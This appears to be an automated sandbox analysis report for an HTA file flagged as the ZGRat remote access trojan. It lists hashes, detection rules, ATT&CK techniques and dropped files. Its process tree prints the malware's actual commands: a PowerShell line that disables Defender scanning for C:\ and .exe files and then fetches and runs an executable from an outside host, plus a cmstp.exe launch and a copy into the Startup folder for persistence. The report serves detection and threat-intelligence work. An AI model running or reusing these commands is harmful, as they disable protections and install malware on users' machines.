zgrat | 355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4

Analysis

max time kernel
131s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14-05-2024 01:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4.hta
Size

9KB
MD5

344020eda12e49be499998ace856ed47
SHA1

f0a7431a73e7cb0be73fbc588bd91cf173f672d3
SHA256

355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4
SHA512

c3a949de4b8d79b84be37d4b4695a7ccde2b2da583ef998442cb0d9a7191756bcf3d67cf5c2da476f3590823177d07355a9151df32c10d259a32bc4f1fea3b90
SSDEEP

192:w1YCCf214wpenCk59zcntnonzcE6LChVg+D0SDs/:w/Cf214UenCkncntnonzcE6kVgmRs/

Score

10^/10

zgrat agilenet execution rat

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/1440-87-0x0000000004970000-0x0000000004A58000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-95-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-93-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-151-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-91-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-127-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-89-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-88-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-149-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-147-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-145-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-143-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-141-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-140-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-137-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-135-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-133-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-131-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-129-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-125-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-123-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-121-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-119-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-118-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-115-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-113-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-111-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-109-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-107-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-105-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-103-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-101-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-99-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1
behavioral2/memory/1440-97-0x0000000004970000-0x0000000004A52000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Detects executables packed with Agile.NET / CliSecure 1 IoCs

resource	yara_rule
behavioral2/memory/3100-6787-0x00000000064D0000-0x00000000065A4000-memory.dmp	INDICATOR_EXE_Packed_AgileDotNet

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3244	powershell.exe
5108	Powershell.exe
4920	powershell.exe
4920	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qjnxunle.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qjnxunle.exe	Powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
1440	Kntgugii.exe
560	TypeId.exe
3100	qjnxunle.exe
2316	qjnxunle.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral2/memory/3100-6787-0x00000000064D0000-0x00000000065A4000-memory.dmp	agile_net

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 560 set thread context of 5044	560	TypeId.exe	112
PID 3100 set thread context of 2316	3100	qjnxunle.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
2128	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2316	qjnxunle.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
3244	powershell.exe
3244	powershell.exe
3244	powershell.exe
3244	powershell.exe
4920	powershell.exe
4920	powershell.exe
560	TypeId.exe
560	TypeId.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
5108	Powershell.exe
5108	Powershell.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe
3100	qjnxunle.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	1440	Kntgugii.exe
Token: SeDebugPrivilege	2128	taskkill.exe
Token: SeDebugPrivilege	560	TypeId.exe
Token: SeDebugPrivilege	5044	InstallUtil.exe
Token: SeDebugPrivilege	3100	qjnxunle.exe
Token: SeDebugPrivilege	5108	Powershell.exe
Token: SeDebugPrivilege	2316	qjnxunle.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3244	powershell.exe
3244	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 3244	2456	mshta.exe	90
PID 2456 wrote to memory of 3244	2456	mshta.exe	90
PID 2456 wrote to memory of 3244	2456	mshta.exe	90
PID 3244 wrote to memory of 1060	3244	powershell.exe	94
PID 3244 wrote to memory of 1060	3244	powershell.exe	94
PID 3244 wrote to memory of 1060	3244	powershell.exe	94
PID 3244 wrote to memory of 2224	3244	powershell.exe	96
PID 3244 wrote to memory of 2224	3244	powershell.exe	96
PID 3244 wrote to memory of 2224	3244	powershell.exe	96
PID 2224 wrote to memory of 4252	2224	csc.exe	97
PID 2224 wrote to memory of 4252	2224	csc.exe	97
PID 2224 wrote to memory of 4252	2224	csc.exe	97
PID 3900 wrote to memory of 4920	3900	DllHost.exe	99
PID 3900 wrote to memory of 4920	3900	DllHost.exe	99
PID 3900 wrote to memory of 4920	3900	DllHost.exe	99
PID 4920 wrote to memory of 4736	4920	powershell.exe	102
PID 4920 wrote to memory of 4736	4920	powershell.exe	102
PID 4920 wrote to memory of 4736	4920	powershell.exe	102
PID 4920 wrote to memory of 1440	4920	powershell.exe	104
PID 4920 wrote to memory of 1440	4920	powershell.exe	104
PID 4920 wrote to memory of 1440	4920	powershell.exe	104
PID 3900 wrote to memory of 2128	3900	DllHost.exe	105
PID 3900 wrote to memory of 2128	3900	DllHost.exe	105
PID 3900 wrote to memory of 2128	3900	DllHost.exe	105
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 560 wrote to memory of 5044	560	TypeId.exe	112
PID 3100 wrote to memory of 5108	3100	qjnxunle.exe	114
PID 3100 wrote to memory of 5108	3100	qjnxunle.exe	114
PID 3100 wrote to memory of 5108	3100	qjnxunle.exe	114
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116
PID 3100 wrote to memory of 2316	3100	qjnxunle.exe	116

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -File C:\Users\Public\sWRA.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\SysWOW64\cmstp.exe
    "cmstp.exe" C:\Users\Public\config.inf /au
    3⤵
    PID:1060
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4A3.tmp" "c:\Users\Admin\AppData\Local\Temp\gttjsnwf\CSC767320E3ED2646A296D16AA292D88981.TMP"
      4⤵
      PID:4252

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy UnRestricted -WindowStyle Hidden Add-MpPreference -ExclusionPath $env:PUBLIC,'C:\';Add-MpPreference -ExclusionExtension '.exe';curl.exe 'http://relay-02-static.network/rkei/Kntgugii.exe' -o ($env:PUBLIC + '\Kntgugii.exe');start ($env:PUBLIC + '\Kntgugii.exe')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\SysWOW64\curl.exe
    "C:\Windows\system32\curl.exe" http://relay-02-static.network/rkei/Kntgugii.exe -o C:\Users\Public\Kntgugii.exe
    3⤵
    PID:4736
- - C:\Users\Public\Kntgugii.exe
    "C:\Users\Public\Kntgugii.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1440
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=2856,i,2607710392823067546,4648797561512801463,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:8
1⤵
PID:4732

C:\Users\Admin\AppData\Local\FrameworkDisplayName\lrqzysar\TypeId.exe
C:\Users\Admin\AppData\Local\FrameworkDisplayName\lrqzysar\TypeId.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:560
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5044

C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
  "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qjnxunle.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
  "C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
e20c25c6796223e69094518c14e3d538

SHA1
61351cd1c57ca100ea78f52701f9ee68eb5cdf97

SHA256
52117555684871e6ffb8392082b5fd7268149bf6ca1760f1b317a6ed6ab93aa2

SHA512
b049eb07ad1de2c86d39ff723e51946ec14cfcb356ef1072c2a3e13c69d3a53cfd775c00b46612a6629dc9154ffb7565f495bbe640a8cc9d3f36afc27e5c4288

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qjnxunle.exe.log

Filesize
1KB

MD5
0558c1421c8055b48ee469af53aa6c85

SHA1
5fbb01847adc3c4b3a67bd50db083357d6bc4efa

SHA256
7d3800257c46946cef2203244847520f0e16db338db8032ced936e1a56f9da9c

SHA512
6e8ad527620ba26bdf7786241e2c1c223aa88ddbe23445d75b44644f423c153436aacdf31394e9d10479b9f308a7dd89188695875b753e6fc71ae95ee7b79817

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
8a6fcd3c515c2a8d164ed094e3042c68

SHA1
285521cabe4e0fd8072a05f4da8bb6a910c57ca7

SHA256
549e60c62942399f89747f4bffc8d535af9cf2017c5574755453a73f05b0e702

SHA512
38969e2f544ec259b6795aa154769ac017e536b9317f88432516a102cfbf17b2f30c1eea6bd21a1cc199028890256dc80895f2a368ef70889a361bf9cdfdd085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
bb6ba6f58b58e2b08da9371a8cf2423a

SHA1
9e8b71e244dec02b5f79141ce26cfffed98a6cb2

SHA256
6e8dff293be08a6fd029ec7183dd57afee7e7aa66bdb5ba9d4446d422f221a91

SHA512
6e56800be1499a8bab8332860ffe0a2617522c58c30693dd4b90449096ca34663775b2efbb5b4b3362e37d9334d69b34e748ab1893a13abff06bb46d00bec59b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESE4A3.tmp

Filesize
1KB

MD5
10b4f7d7f4bf9b75b8e96fa46b283cf8

SHA1
5348d24103e9ce375d607db65389b4e979bdbdf5

SHA256
e7af8a0fcbb597acaa52aefc57328cad1e5fdd6d07437b98fe496bf31893bdd5

SHA512
3b5178897b2ad5b7b3228226badc73ec26186a0ec685956202fc93b21527cde9c7bb57571f86a039b5ffcb9df60e4098becc84081958e57bd54ef3c46ebc0f5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oeuqmuui.oqs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.dll

Filesize
3KB

MD5
048fa7a554eb37eb3edf226b8944275a

SHA1
bfac98fbc5133d7bfb90627179dc24f1103de7aa

SHA256
8befc5a312e8a2c2de04fe643f99537b1271498d022113906a71aa1094bcf5c0

SHA512
358ea5f29d14ea3cc9c505eded02f9951bbe12644d9a37912d5ca48e2f6b68348ad63f193a496b674ae5936a906ae887edd1790c6bdf836fb061325076a50961

Download Submit
C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe

Filesize
26KB

MD5
1f90151f3470f316a645a6617534a0be

SHA1
80dd3641418ff22c353b2d1f0f4c86990cfdaee1

SHA256
aae9e126f03798f15445e8f308bbf43e9bda6a9e1ffaa9fe2dfd75eb65fef74c

SHA512
5609219d6a7ece553032589d9765e7fcf394253fa4df5d64539e231a4350bf9c8b3bfd2ec5ca1904a6584b793f3a174353261e23983f7ac428b7957379eccbcf

Download Submit
C:\Users\Public\Kntgugii.exe

Filesize
594KB

MD5
f5fe6435df7702338b1320b55f96caa4

SHA1
fab2bbc6e43cc01217673b2753e223099c3c297f

SHA256
3f352445c521895812735acebb5f944cd1e88024cade5b201c562166619ffc9f

SHA512
4c355979435dc7519c4e4ee1a9ff6ad4be9cabcaa6b376473b039fcd785837689f16662e680b196f2b74ec689ff894175a2892206f1883e6e22ca89a292a6fab

Download Submit
C:\Users\Public\config.inf

Filesize
793B

MD5
9551f37d1c321b89594ce33dd5c4a166

SHA1
dbde6afe056ffa89f57b3d817767305533ffc723

SHA256
2fb41b2fc5e9a70f7f4b5c4338306b0ad7b6e9a46921c11bb99a24b3f856c99c

SHA512
4fcea7fb0a6fbcbcd1e332c6f41fd0cf7cd5c0635ba798950cfc590aeff89166b5ea26f72fce98af1b7664165e3b91bcade06a072685d0f04ec22195d006f7e8

Download Submit
C:\Users\Public\sWRA.ps1

Filesize
980B

MD5
cdf55a34ebd80623d6ec05b2f0a42c19

SHA1
9a226bd3e721bc082529a74bd7be39787d427538

SHA256
9cf9a284d8520457baa6bbc513174c60744a9ed5662740b92052bb809c72fc6c

SHA512
96e5007617cfe375fd268ed534a6726e0d77a28134e780d20bac69c9918c7662d1704a1fc3f16f517d705ecbec35913cfaf34f7067e280fa8c9302e43b5a41c1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\CSC767320E3ED2646A296D16AA292D88981.TMP

Filesize
652B

MD5
0f9583a71d856ed9be60e255f729a163

SHA1
aacdb54455be836dfbbbc1a70e0e7dd90b9c432a

SHA256
6f28ae4f2a91c119d08df0cc2a8b614b0e782975ce6dfd015217c47509f7b499

SHA512
365a2df0955bdeef61fee0539553b1bbdce4450cf19afc1f32cec48f48fb538cb7af9fde466f2983a9c5d2ea2513f16d5cbb748bdc3b6791823fb8635f14204c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.0.cs

Filesize
319B

MD5
f3c09788c53ec7b12e03c328440a57fc

SHA1
898711631c676136cc0576370c705d5bb38df060

SHA256
f52036306d49ca5bc0c58242a311526e4d045dcd070b0981db503da5e3a55212

SHA512
cdddd3ffe6563bcd0ff53973b3a3fe7aca3939b77dcb3fcc2e56d93c9f0727a0d5ffa550a21923ffa8a446da589d68a6c26674068bf75233421452a153b9e1ce

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.cmdline

Filesize
369B

MD5
c66457d454b06b42555e161e11c4a68b

SHA1
c74efed01b8a9dee04678540ae6efc8329a0277b

SHA256
b209a30374484fb3fb5b4f21facb78065a6a2d2c0f2156b87581ce8f404ccf63

SHA512
f1539f00aaaedf0de9ec85b851db0c0c2c40a763795bd1ab1e9656f95dd6d4701a67a5155e1a4358ad901e070221f5237f3a809b629623b720cbede0d9a4b276

Download Submit
memory/1440-93-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-107-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-2318-0x00000000051F0000-0x0000000005244000-memory.dmp

Filesize
336KB

Download
memory/1440-2317-0x0000000004BD0000-0x0000000004C1C000-memory.dmp

Filesize
304KB

Download
memory/1440-2316-0x0000000004B70000-0x0000000004BC6000-memory.dmp

Filesize
344KB

Download
memory/1440-97-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-99-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-101-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-103-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-105-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-109-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-111-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-113-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-115-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-118-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-119-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-121-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-123-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-125-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-129-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-131-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-133-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-135-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-137-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-140-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-141-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-143-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-145-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-147-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-86-0x0000000000120000-0x00000000001BA000-memory.dmp

Filesize
616KB

Download
memory/1440-87-0x0000000004970000-0x0000000004A58000-memory.dmp

Filesize
928KB

Download
memory/1440-95-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-149-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-151-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-91-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-127-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-89-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/1440-88-0x0000000004970000-0x0000000004A52000-memory.dmp

Filesize
904KB

Download
memory/2316-7662-0x00000000057F0000-0x0000000005846000-memory.dmp

Filesize
344KB

Download
memory/2316-6809-0x00000000055B0000-0x0000000005676000-memory.dmp

Filesize
792KB

Download
memory/2316-6808-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/3100-6785-0x00000000009B0000-0x00000000009BC000-memory.dmp

Filesize
48KB

Download
memory/3100-6789-0x0000000006940000-0x00000000069DC000-memory.dmp

Filesize
624KB

Download
memory/3100-6788-0x00000000066A0000-0x00000000066BE000-memory.dmp

Filesize
120KB

Download
memory/3100-6787-0x00000000064D0000-0x00000000065A4000-memory.dmp

Filesize
848KB

Download
memory/3100-6786-0x00000000054F0000-0x0000000005566000-memory.dmp

Filesize
472KB

Download
memory/3244-24-0x00000000065D0000-0x00000000065EA000-memory.dmp

Filesize
104KB

Download
memory/3244-23-0x00000000076D0000-0x0000000007D4A000-memory.dmp

Filesize
6.5MB

Download
memory/3244-6-0x00000000722D0000-0x0000000072A80000-memory.dmp

Filesize
7.7MB

Download
memory/3244-3-0x0000000004AC0000-0x0000000004AF6000-memory.dmp

Filesize
216KB

Download
memory/3244-4-0x00000000722D0000-0x0000000072A80000-memory.dmp

Filesize
7.7MB

Download
memory/3244-7-0x00000000051E0000-0x0000000005202000-memory.dmp

Filesize
136KB

Download
memory/3244-5-0x0000000005280000-0x00000000058A8000-memory.dmp

Filesize
6.2MB

Download
memory/3244-8-0x0000000005960000-0x00000000059C6000-memory.dmp

Filesize
408KB

Download
memory/3244-47-0x00000000722D0000-0x0000000072A80000-memory.dmp

Filesize
7.7MB

Download
memory/3244-44-0x00000000075F0000-0x00000000075FA000-memory.dmp

Filesize
40KB

Download
memory/3244-43-0x0000000007600000-0x0000000007692000-memory.dmp

Filesize
584KB

Download
memory/3244-9-0x0000000005A80000-0x0000000005AE6000-memory.dmp

Filesize
408KB

Download
memory/3244-2-0x00000000722DE000-0x00000000722DF000-memory.dmp

Filesize
4KB

Download
memory/3244-19-0x0000000005AF0000-0x0000000005E44000-memory.dmp

Filesize
3.3MB

Download
memory/3244-41-0x00000000074A0000-0x00000000074A8000-memory.dmp

Filesize
32KB

Download
memory/3244-20-0x0000000006080000-0x000000000609E000-memory.dmp

Filesize
120KB

Download
memory/3244-21-0x00000000060D0000-0x000000000611C000-memory.dmp

Filesize
304KB

Download
memory/3244-26-0x0000000008300000-0x00000000088A4000-memory.dmp

Filesize
5.6MB

Download
memory/3244-28-0x0000000007450000-0x0000000007472000-memory.dmp

Filesize
136KB

Download
memory/3244-27-0x00000000074B0000-0x0000000007546000-memory.dmp

Filesize
600KB

Download
memory/4920-79-0x0000000007160000-0x0000000007174000-memory.dmp

Filesize
80KB

Download
memory/4920-63-0x0000000006D70000-0x0000000006DA2000-memory.dmp

Filesize
200KB

Download
memory/4920-75-0x0000000006DE0000-0x0000000006E83000-memory.dmp

Filesize
652KB

Download
memory/4920-76-0x0000000006F80000-0x0000000006F8A000-memory.dmp

Filesize
40KB

Download
